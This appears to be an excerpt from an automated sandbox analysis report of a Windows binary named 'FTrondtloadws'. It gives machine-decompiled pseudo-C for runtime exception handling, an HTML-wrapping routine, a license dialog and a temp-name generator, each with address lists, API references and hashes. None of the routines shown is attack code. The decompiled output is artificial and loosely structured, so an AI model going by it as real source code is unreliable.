																	__eflags = _v104 - _t250;
																	if(_v104 <= _t250) {
																		__eflags = _t250 - _v100;
																		if(_t250 <= _v100) {
																			_t294 = 0;
																			_v20 = 0;
																			__eflags = _v92;
																			if(_v92 != 0) {
																				_t299 = _t270[0x1c];
																				_t251 =  *((intOrPtr*)(_t299 + 0xc));
																				_t252 = _t251 + 4;
																				__eflags = _t252;
																				_v36 = _t252;
																				_t253 = _v88;
																				_v40 =  *_t251;
																				_v24 = _t253;
																				do {
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					_t327 = _v40;
																					_t314 = _v36;
																					__eflags = _t327;
																					if(_t327 <= 0) {
																						goto L40;
																					} else {
																						while(1) {
																							_push(_t299);
																							_push( *_t314);
																							_t254 =  &_v84;
																							_push(_t254);
																							L87();
																							_t332 = _t332 + 0xc;
																							__eflags = _t254;
																							if(_t254 != 0) {
																								break;
																							}
																							_t299 = _t270[0x1c];
																							_t327 = _t327 - 1;
																							_t314 = _t314 + 4;
																							__eflags = _t327;
																							if(_t327 > 0) {
																								continue;
																							} else {
																								_t294 = _v20;
																								_t253 = _v24;
																								goto L40;
																							}
																							goto L43;
																						}
																						_push(_a24);
																						_push(_v28);
																						E00CE3D91(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
																						_t332 = _t332 + 0x30;
																					}
																					L43:
																					_t296 = _v16;
																					goto L44;
																					L40:
																					_t294 = _t294 + 1;
																					_t253 = _t253 + 0x10;
																					_v20 = _t294;
																					_v24 = _t253;
																					__eflags = _t294 - _v92;
																				} while (_t294 != _v92);
																				goto L43;
																			}
																		}
																	}
																	L44:
																	_t296 = _t296 + 1;
																	_t247 = _v44;
																	_t290 = _v32 + 0x14;
																	_v16 = _t296;
																	_v32 = _t290;
																	__eflags = _t296 - _v56;
																} while (_t296 < _v56);
																_t301 = _a20;
																_t315 = _a32;
															}
														}
														__eflags = _a24;
														if(__eflags != 0) {
															_push(1);
															E00CE36E0(_t270, _t301, _t315, __eflags);
															_t275 = _t270;
														}
														__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
														if(__eflags < 0) {
															L60:
															_t224 = E00CE3ACC(_t270, _t275, _t296, _t301, _t315, __eflags);
															__eflags =  *(_t224 + 0x1c);
															if( *(_t224 + 0x1c) != 0) {
																goto L67;
															} else {
																goto L61;
															}
														} else {
															_t228 = _t301[8] >> 2;
															__eflags = _t301[7];
															if(_t301[7] != 0) {
																__eflags = _t228 & 0x00000001;
																if(__eflags == 0) {
																	_push(_t301[7]);
																	_t229 = E00CE482A(_t270, _t301, _t315, _t270);
																	_pop(_t275);
																	__eflags = _t229;
																	if(__eflags == 0) {
																		goto L64;
																	} else {
																		goto L60;
																	}
																} else {
																	goto L54;
																}
															} else {
																__eflags = _t228 & 0x00000001;
																if(__eflags == 0) {
																	goto L60;
																} else {
																	__eflags = _a28;
																	if(__eflags != 0) {
																		goto L60;
																	} else {
																		L54:
																		 *(E00CE3ACC(_t270, _t275, _t296, _t301, _t315, __eflags) + 0x10) = _t270;
																		_t237 = E00CE3ACC(_t270, _t275, _t296, _t301, _t315, __eflags);
																		_t286 = _v8;
																		 *((intOrPtr*)(_t237 + 0x14)) = _v8;
																		goto L62;
																	}
																}
															}
														}
													} else {
														__eflags = _t270[0x14] - 0x19930521;
														if(_t270[0x14] == 0x19930521) {
															goto L29;
														} else {
															__eflags = _t270[0x14] - 0x19930522;
															if(_t270[0x14] != 0x19930522) {
																goto L57;
															} else {
																goto L29;
															}
														}
													}
												}
											}
										} else {
											_v16 =  *((intOrPtr*)(E00CE3ACC(_t270, _t275, _t296, _t301, _t315, _t351) + 0x1c));
											_t264 = E00CE3ACC(_t270, _t275, _t296, _t301, _t315, _t351);
											_push(_v16);
											 *(_t264 + 0x1c) = _t315;
											_t265 = E00CE482A(_t270, _t301, _t315, _t270);
											_pop(_t286);
											if(_t265 != 0) {
												goto L23;
											} else {
												_t301 = _v16;
												_t353 =  *_t301 - _t315;
												if( *_t301 <= _t315) {
													L62:
													E00CE8C5C(_t270, _t286, _t296, _t301, _t315, __eflags);
												} else {
													while(1) {
														_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
														if(E00CE44B3( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0xd00ff4) != 0) {
															goto L63;
														}
														_t315 = _t315 + 0x10;
														_t269 = _v20 + 1;
														_v20 = _t269;
														_t353 = _t269 -  *_t301;
														if(_t269 >=  *_t301) {
															goto L62;
														} else {
															continue;
														}
														goto L63;
													}
												}
												L63:
												_push(1);
												_push(_t270);
												E00CE36E0(_t270, _t301, _t315, __eflags);
												_t275 =  &_v64;
												E00CE449B( &_v64);
												E00CE3190( &_v64, 0xcfd4f4);
												L64:
												 *(E00CE3ACC(_t270, _t275, _t296, _t301, _t315, __eflags) + 0x10) = _t270;
												_t231 = E00CE3ACC(_t270, _t275, _t296, _t301, _t315, __eflags);
												_t275 = _v8;
												 *(_t231 + 0x14) = _v8;
												__eflags = _t315;
												if(_t315 == 0) {
													_t315 = _a8;
												}
												E00CE134D(_t275, _t315, _t270);
												E00CE472A(_a8, _a16, _t301);
												_t234 = E00CE48E7(_t301);
												_t332 = _t332 + 0x10;
												_push(_t234);
												E00CE46A1(_t270, _t275, _t296, _t301, _t315, __eflags);
												goto L67;
											}
										}
									} else {
										_t350 = _t270[0x1c] - _t315;
										if(_t270[0x1c] == _t315) {
											goto L67;
										} else {
											goto L16;
										}
									}
								}
							}
						}
					}
				}
			}

0x00ce3e11
0x00ce3e18
0x00ce3e1a
0x00ce3e23
0x00ce3e29
0x00ce3e31
0x00ce3e33
0x00ce3e36
0x00ce3e3c
0x00ce41b0
0x00ce41b0
0x00ce41b5
0x00ce41b7
0x00ce41b9
0x00ce41bc
0x00ce41bd
0x00ce41c0
0x00ce41c6
0x00ce42e5
0x00ce41cc
0x00ce41cc
0x00ce41cd
0x00ce41ce
0x00ce41d5
0x00ce41d8
0x00ce41db
0x00ce41e1
0x00ce41e3
0x00ce41e8
0x00ce41eb
0x00ce41ed
0x00ce41f3
0x00ce41f5
0x00ce41fb
0x00ce4210
0x00ce4215
0x00ce4218
0x00ce421a
0x00ce42e1
0x00000000
0x00ce42e2
0x00ce421a
0x00ce41fb
0x00ce41f3
0x00ce41eb
0x00ce4220
0x00ce4223
0x00ce4226
0x00ce4229
0x00ce422c
0x00ce4232
0x00ce4244
0x00ce4249
0x00ce424c
0x00ce424f
0x00ce4252
0x00ce4255
0x00ce4258
0x00ce425b
0x00000000
0x00000000
0x00ce4261
0x00ce4261
0x00ce4264
0x00ce4267
0x00ce4276
0x00ce4277
0x00ce4277
0x00ce4279
0x00ce427c
0x00000000
0x00000000
0x00ce427e
0x00ce4281
0x00000000
0x00000000
0x00ce428f
0x00ce4291
0x00ce4294
0x00ce4296
0x00ce429e
0x00ce429e
0x00ce42a1
0x00ce42a3
0x00ce42a5
0x00ce42c1
0x00ce42c6
0x00ce42c9
0x00ce42c9
0x00000000
0x00ce42a1
0x00ce4298
0x00ce429c
0x00000000
0x00000000
0x00000000
0x00ce42cc
0x00ce42cf
0x00ce42d0
0x00ce42d3
0x00ce42d6
0x00ce42d9
0x00ce42dc
0x00ce42dc
0x00000000
0x00ce4267
0x00ce42e6
0x00ce42eb
0x00ce42ec
0x00ce42ef
0x00ce42f2
0x00ce42f3
0x00ce42f4
0x00ce42f5
0x00ce42f8
0x00ce42fa
0x00ce4372
0x00ce4374
0x00ce4374
0x00ce42fc
0x00ce42fc
0x00ce42ff
0x00ce4302
0x00000000
0x00ce4304
0x00ce4304
0x00ce4307
0x00ce430a
0x00ce4311
0x00ce4311
0x00ce4314
0x00ce4316
0x00ce4318
0x00ce434a
0x00ce434a
0x00ce434d
0x00ce4354
0x00ce4354
0x00ce4357
0x00ce435a
0x00ce4361
0x00ce4361
0x00ce4364
0x00ce436b
0x00ce436d
0x00ce436d
0x00ce4366
0x00ce4366
0x00ce4369
0x00000000
0x00000000
0x00ce4369
0x00ce435c
0x00ce435c
0x00ce435f
0x00000000
0x00000000
0x00ce435f
0x00ce434f
0x00ce434f
0x00ce4352
0x00000000
0x00000000
0x00ce4352
0x00ce436e
0x00ce431a
0x00ce431a
0x00ce431a
0x00ce431d
0x00ce431d
0x00ce431f
0x00ce4321
0x00000000
0x00000000
0x00ce4323
0x00ce4325
0x00ce4339
0x00ce4339
0x00ce4327
0x00ce4327
0x00ce432a
0x00ce432d
0x00000000
0x00ce432f
0x00ce432f
0x00ce4332
0x00ce4335
0x00ce4337
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce4337
0x00ce432d
0x00ce4342
0x00ce4342
0x00ce4344
0x00000000
0x00ce4346
0x00ce4346
0x00ce4346
0x00000000
0x00ce4344
0x00ce433d
0x00ce433f
0x00ce433f
0x00000000
0x00ce433f
0x00ce430c
0x00ce430c
0x00ce430f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce430f
0x00ce430a
0x00ce4302
0x00ce4375
0x00ce4379
0x00ce4379
0x00ce3e4b
0x00ce3e4b
0x00ce3e54
0x00ce3f51
0x00ce3f51
0x00ce3f54
0x00000000
0x00ce3e83
0x00ce3e83
0x00ce3e85
0x00ce3e88
0x00000000
0x00ce3e8e
0x00ce3e8e
0x00ce3e93
0x00ce3e96
0x00ce414a
0x00ce414e
0x00ce3e9c
0x00ce3ea1
0x00ce3ea4
0x00ce3ea9
0x00ce3eb0
0x00ce3eb5
0x00000000
0x00ce3ebb
0x00ce3ec1
0x00ce3eed
0x00ce3eed
0x00ce3ef2
0x00ce3ef5
0x00ce3f59
0x00ce3f59
0x00ce3f5c
0x00ce3f5f
0x00ce3f61
0x00ce3f64
0x00ce3f67
0x00ce3f6d
0x00ce4119
0x00ce4119
0x00ce411c
0x00000000
0x00ce411e
0x00ce411e
0x00ce4121
0x00000000
0x00ce4127
0x00ce4127
0x00ce412a
0x00ce412d
0x00ce412e
0x00ce412f
0x00ce4132
0x00ce4133
0x00ce4136
0x00ce4137
0x00ce413c
0x00000000
0x00ce413c
0x00ce4121
0x00ce3f73
0x00ce3f73
0x00ce3f77
0x00000000
0x00ce3f7d
0x00ce3f7d
0x00ce3f84
0x00ce3f9c
0x00ce3f9c
0x00ce3f9f
0x00ce3fa2
0x00ce3fa8
0x00ce3fb8
0x00ce3fbd
0x00ce3fc0
0x00ce3fc3
0x00ce3fc6
0x00ce3fc9
0x00ce3fcc
0x00ce3fcf
0x00ce3fd5
0x00ce3fd5
0x00ce3fd8
0x00ce3fdb
0x00ce3fea
0x00ce3feb
0x00ce3feb
0x00ce3fed
0x00ce3ff0
0x00ce3ff6
0x00ce3ff9
0x00ce3fff
0x00ce4001
0x00ce4004
0x00ce4007
0x00ce400d
0x00ce4010
0x00ce4015
0x00ce4015
0x00ce4018
0x00ce401b
0x00ce401e
0x00ce4021
0x00ce4024
0x00ce4029
0x00ce402a
0x00ce402b
0x00ce402c
0x00ce402d
0x00ce4030
0x00ce4033
0x00ce4035
0x00000000
0x00ce4037
0x00ce4037
0x00ce4037
0x00ce4038
0x00ce403a
0x00ce403d
0x00ce403e
0x00ce4043
0x00ce4046
0x00ce4048
0x00000000
0x00000000
0x00ce404a
0x00ce404d
0x00ce404e
0x00ce4051
0x00ce4053
0x00000000
0x00ce4055
0x00ce4055
0x00ce4058
0x00000000
0x00ce4058
0x00000000
0x00ce4053
0x00ce406c
0x00ce4072
0x00ce408f
0x00ce4094
0x00ce4094
0x00ce4097
0x00ce4097
0x00000000
0x00ce405b
0x00ce405b
0x00ce405c
0x00ce405f
0x00ce4062
0x00ce4065
0x00ce4065
0x00000000
0x00ce406a
0x00ce4007
0x00ce3ff9
0x00ce409a
0x00ce409d
0x00ce409e
0x00ce40a1
0x00ce40a4
0x00ce40a7
0x00ce40aa
0x00ce40aa
0x00ce40b3
0x00ce40b6
0x00ce40b6
0x00ce3fcf
0x00ce40b9
0x00ce40bd
0x00ce40bf
0x00ce40c2
0x00ce40c8
0x00ce40c8
0x00ce40d0
0x00ce40d5
0x00ce413f
0x00ce413f
0x00ce4144
0x00ce4148
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce40d7
0x00ce40da
0x00ce40dd
0x00ce40e1
0x00ce40ef
0x00ce40f1
0x00ce4108
0x00ce410c
0x00ce4112
0x00ce4113
0x00ce4115
0x00000000
0x00ce4117
0x00000000
0x00ce4117
0x00000000
0x00000000
0x00000000
0x00ce40e3
0x00ce40e3
0x00ce40e5
0x00000000
0x00ce40e7
0x00ce40e7
0x00ce40eb
0x00000000
0x00ce40ed
0x00ce40f3
0x00ce40f8
0x00ce40fb
0x00ce4100
0x00ce4103
0x00000000
0x00ce4103
0x00ce40eb
0x00ce40e5
0x00ce40e1
0x00ce3f86
0x00ce3f86
0x00ce3f8d
0x00000000
0x00ce3f8f
0x00ce3f8f
0x00ce3f96
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce3f96
0x00ce3f8d
0x00ce3f84
0x00ce3f77
0x00ce3ef7
0x00ce3eff
0x00ce3f02
0x00ce3f07
0x00ce3f0b
0x00ce3f0e
0x00ce3f14
0x00ce3f17
0x00000000
0x00ce3f19
0x00ce3f19
0x00ce3f1c
0x00ce3f1e
0x00ce414f
0x00ce414f
0x00000000
0x00ce3f24
0x00ce3f2c
0x00ce3f37
0x00000000
0x00000000
0x00ce3f40
0x00ce3f43
0x00ce3f44
0x00ce3f47
0x00ce3f49
0x00000000
0x00ce3f4f
0x00000000
0x00ce3f4f
0x00000000
0x00ce3f49
0x00ce3f24
0x00ce4154
0x00ce4154
0x00ce4156
0x00ce4157
0x00ce415e
0x00ce4161
0x00ce416f
0x00ce4174
0x00ce4179
0x00ce417c
0x00ce4181
0x00ce4184
0x00ce4187
0x00ce4189
0x00ce418b
0x00ce418b
0x00ce4190
0x00ce419c
0x00ce41a2
0x00ce41a7
0x00ce41aa
0x00ce41ab
0x00000000
0x00ce41ab
0x00ce3f17
0x00ce3ee4
0x00ce3ee4
0x00ce3ee7
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce3ee7
0x00ce3ec1
0x00ce3eb5
0x00ce3e96
0x00ce3e88
0x00ce3e54

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CE3F30
___TypeMatch.LIBVCRUNTIME ref: 00CE403E
_UnwindNestedFrames.LIBCMT ref: 00CE4190
CallUnexpected.LIBVCRUNTIME ref: 00CE41AB
_abort.LIBCMT ref: 00CE41B0

Strings

csm, xrefs: 00CE3F67
csm, xrefs: 00CE3EBB
csm, xrefs: 00CE3E4E

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 98f430e4feea29375e4a041f2ad851917862dd604e90ec46de13536185687028
Instruction ID: a9eff557f2d02c73142c426b3e9e7e7f30e8ecbde7fbfe5b52b34579deaed65e
Opcode Fuzzy Hash: 98f430e4feea29375e4a041f2ad851917862dd604e90ec46de13536185687028
Instruction Fuzzy Hash: 49B19E318002C9EFCF29DFA6C8859AEBBB5FF14310F14406AE9256B252C731EB51DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CDA6A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126
memoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00CDA6A1(void* __edx) {
				void* __ecx;
				void* _t20;
				short* _t24;
				void* _t28;
				void* _t29;
				intOrPtr* _t36;
				void* _t43;
				void* _t58;
				intOrPtr* _t60;
				short* _t62;
				short* _t64;
				intOrPtr* _t68;
				long _t70;
				void* _t72;
				void* _t73;

				_t58 = __edx;
				_t42 = _t43;
				if( *((intOrPtr*)(_t43 + 0x10)) == 0) {
					return _t20;
				}
				 *(_t72 + 8) =  *(_t72 + 8) & 0x00000000;
				_t60 =  *((intOrPtr*)(_t72 + 0x18));
				 *((char*)(_t72 + 0x13)) = E00CDA53A(_t60);
				_push(0x200 + E00CE4DF3(_t60) * 2);
				_t24 = E00CE73B6(_t43);
				_t64 = _t24;
				if(_t64 == 0) {
					L16:
					return _t24;
				}
				E00CE7296(_t64, L"<html>");
				E00CE88C9(_t64, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E00CE88C9(_t64, L"utf-8\"></head>");
				_t73 = _t72 + 0x18;
				_t68 = _t60;
				_t28 = 0x20;
				if( *_t60 != _t28) {
					L4:
					_t29 = E00CD3308(_t77, _t68, L"<html>", 6);
					 *((char*)(_t73 + 0x12)) = _t29 == 0;
					if(_t29 == 0) {
						_t60 = _t68 + 0xc;
					}
					E00CE88C9(_t64, _t60);
					if( *((char*)(_t73 + 0x1a)) == 0) {
						E00CE88C9(_t64, L"</html>");
					}
					_t81 =  *((char*)(_t73 + 0x13));
					if( *((char*)(_t73 + 0x13)) == 0) {
						_push(_t64);
						_t64 = E00CDA945(_t58, _t81);
					}
					_t70 = 9 + E00CE4DF3(_t64) * 6;
					_t62 = GlobalAlloc(0x40, _t70);
					if(_t62 != 0) {
						_t13 = _t62 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t64, 0xffffffff, _t13, _t70 - 3, 0, 0) == 0) {
							 *_t62 = 0;
						} else {
							 *_t62 = 0xbbef;
							 *((char*)(_t62 + 2)) = 0xbf;
						}
					}
					L00CE5069(_t64);
					_t24 =  *0xd25180(_t62, 1, _t73 + 0x14);
					if(_t24 >= 0) {
						E00CDA57B( *((intOrPtr*)(_t42 + 0x10)));
						_t36 =  *((intOrPtr*)(_t73 + 0x10));
						 *0xcf4278(_t36,  *((intOrPtr*)(_t73 + 0x10)));
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *_t36 + 8))))();
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t68 = _t68 + 2;
					_t77 =  *_t68 - _t28;
				} while ( *_t68 == _t28);
				goto L4;
			}

0x00cda6a1
0x00cda6a4
0x00cda6aa
0x00cda7ef
0x00cda7ef
0x00cda6b0
0x00cda6b7
0x00cda6c2
0x00cda6d2
0x00cda6d3
0x00cda6d8
0x00cda6de
0x00cda7ea
0x00000000
0x00cda7eb
0x00cda6eb
0x00cda6f6
0x00cda701
0x00cda706
0x00cda709
0x00cda70d
0x00cda711
0x00cda71c
0x00cda724
0x00cda72b
0x00cda732
0x00cda734
0x00cda734
0x00cda739
0x00cda745
0x00cda74d
0x00cda753
0x00cda754
0x00cda759
0x00cda75b
0x00cda763
0x00cda763
0x00cda76f
0x00cda77b
0x00cda77f
0x00cda789
0x00cda79e
0x00cda7ab
0x00cda7a0
0x00cda7a0
0x00cda7a5
0x00cda7a5
0x00cda79e
0x00cda7af
0x00cda7bd
0x00cda7c6
0x00cda7d1
0x00cda7d6
0x00cda7e2
0x00cda7e8
0x00cda7e8
0x00000000
0x00000000
0x00000000
0x00000000
0x00cda713
0x00cda713
0x00cda713
0x00cda716
0x00cda716
0x00000000

APIs

_wcslen.LIBCMT ref: 00CDA6C6
_wcslen.LIBCMT ref: 00CDA766
GlobalAlloc.KERNEL32(00000040,?), ref: 00CDA775
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00CDA796

Strings

<html>, xrefs: 00CDA6E5, 00CDA71E
utf-8"></head>, xrefs: 00CDA6FB
</html>, xrefs: 00CDA747
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00CDA6F0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: 598087cff787a561ff74488800496c3fdf83ad98dd96de82bbeb9b72086136df
Instruction ID: 68d34c13cfc55f8360a7aa424b03bceb4bc140733303ac66077258aaa02ddae0
Opcode Fuzzy Hash: 598087cff787a561ff74488800496c3fdf83ad98dd96de82bbeb9b72086136df
Instruction Fuzzy Hash: 9C3133322047417BE724AB219C46F6F7BA8AF81320F15011FFB11962D2EB649A0882A7

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC650 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00CDC650(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				void* _t29;
				struct HWND__* _t34;
				intOrPtr _t35;
				void* _t36;
				struct HWND__* _t37;

				_t29 = __ecx;
				_t28 = _a12;
				_t35 = _a8;
				_t34 = _a4;
				if(E00CC12F6(__edx, _t34, _t35, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t36 = _t35 - 0x110;
				if(_t36 == 0) {
					E00CDE66E(_t29, __edx, __eflags, __fp0, _t34);
					_t9 =  *0xd20cbc;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t34, 0x80, 1, _t9);
					}
					_t10 =  *0xd21cc0;
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0xd21cd0;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t34, _t11);
					}
					_t37 = GetDlgItem(_t34, 0x65);
					SendMessageW(_t37, 0x435, 0, 0x10000);
					SendMessageW(_t37, 0x443, 0,  *0xd250c4(0xf));
					 *0xd250c0(_t34);
					E00CDAEC5( *0xd11884, __eflags,  *0xd0306c, _t37,  *0xd21ccc, 0, 0);
					L00CE5069( *0xd21cd0);
					L00CE5069( *0xd21ccc);
					goto L16;
				}
				if(_t36 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t34, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x00cdc650
0x00cdc651
0x00cdc657
0x00cdc65e
0x00cdc677
0x00cdc763
0x00cdc765
0x00000000
0x00cdc765
0x00cdc67d
0x00cdc683
0x00cdc6b0
0x00cdc6b5
0x00cdc6ba
0x00cdc6bc
0x00cdc6c7
0x00cdc6c7
0x00cdc6cd
0x00cdc6d2
0x00cdc6d4
0x00cdc6e0
0x00cdc6e0
0x00cdc6e6
0x00cdc6eb
0x00cdc6ed
0x00cdc6f1
0x00cdc6f1
0x00cdc706
0x00cdc70e
0x00cdc724
0x00cdc72b
0x00cdc746
0x00cdc751
0x00cdc75c
0x00000000
0x00cdc762
0x00cdc688
0x00cdc697
0x00000000
0x00cdc697
0x00cdc68d
0x00cdc690
0x00cdc6ab
0x00cdc69f
0x00cdc6a0
0x00000000
0x00cdc6a0
0x00cdc695
0x00cdc69e
0x00000000
0x00cdc69e
0x00000000

APIs

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

EndDialog.USER32(?,00000001), ref: 00CDC6A0
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CDC6C7
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00CDC6E0
SetWindowTextW.USER32(?,?), ref: 00CDC6F1
GetDlgItem.USER32(?,00000065), ref: 00CDC6FA
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00CDC70E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00CDC724

Strings

LICENSEDLG, xrefs: 00CDC664

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 8337b40523ebed885f7c0dba127db4b0841c563307d1a8af531c8a2698e2c5c0
Instruction ID: 6467f74d3e52b74214ed41a01de95e5c4c676bbbbda07e1b9cf1714bad12d9f3
Opcode Fuzzy Hash: 8337b40523ebed885f7c0dba127db4b0841c563307d1a8af531c8a2698e2c5c0
Instruction Fuzzy Hash: 2E21D336244306BBD2215B66ED89F3B3B6CEB66B51F018005F700E13A4CB62D913EB72

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB5B6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00CCB5B6(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				char _v116;
				signed int _v128;
				long _v132;
				signed int _t24;
				signed int _t27;
				signed int _t31;
				void* _t35;
				void* _t50;
				intOrPtr _t52;
				void* _t57;
				char _t60;
				intOrPtr _t63;
				signed int _t64;
				void* _t66;

				_t57 = __edx;
				_t52 = _a4;
				_t24 = E00CE4DF3(_t52);
				_t60 = 0;
				_t64 = _t24;
				_v108 = 0;
				_v104 = 0;
				E00CD26D1( &_v108);
				_t27 = E00CDFF10(E00CD267A( &_v108), _t57, 0x186a0, 0);
				_v132 = GetCurrentProcessId();
				_t31 = _t27 % 0xc350;
				_push(_t31);
				_v128 = _t31;
				E00CC4A00( &_v116, 0x32, L"%u.%03u", _t28);
				_t35 = E00CE4DF3( &_v116);
				_t66 =  &_v116 + 0x18;
				if(_t35 + _t64 >= _v8) {
					L5:
					return 0;
				}
				_t63 = _v116;
				while(_t60 != 0x3e8) {
					E00CD1908(_t52 + _t64 * 2,  &_v100, _a8 - _t64);
					if(E00CCB4A1(_t52) == 0) {
						return _t52;
					}
					_t60 = _t60 + 1;
					_push(_v112 + _t60);
					E00CC4A00( &_v100, 0x32, L"%u.%03u", _t63);
					_t50 = E00CE4DF3( &_v100);
					_t66 = _t66 + 0x18;
					if(_t50 + _t64 < _a8) {
						continue;
					}
					goto L5;
				}
				goto L5;
			}

0x00ccb5b6
0x00ccb5ba
0x00ccb5c2
0x00ccb5c8
0x00ccb5ce
0x00ccb5d0
0x00ccb5d4
0x00ccb5d8
0x00ccb5ee
0x00ccb601
0x00ccb60c
0x00ccb60e
0x00ccb615
0x00ccb620
0x00ccb62a
0x00ccb631
0x00ccb63b
0x00ccb69d
0x00000000
0x00ccb69d
0x00ccb63d
0x00ccb641
0x00ccb65c
0x00ccb669
0x00000000
0x00ccb6a9
0x00ccb66f
0x00ccb672
0x00ccb680
0x00ccb68a
0x00ccb691
0x00ccb69b
0x00000000
0x00000000
0x00000000
0x00ccb69b
0x00000000

APIs

_wcslen.LIBCMT ref: 00CCB5C2

Part of subcall function 00CD26D1: GetSystemTime.KERNEL32(?), ref: 00CD26DF
Part of subcall function 00CD26D1: SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD26ED

Part of subcall function 00CD267A: __aulldiv.LIBCMT ref: 00CD2683

__aulldiv.LIBCMT ref: 00CCB5EE
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00CCB5F5
_swprintf.LIBCMT ref: 00CCB620

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

_wcslen.LIBCMT ref: 00CCB62A
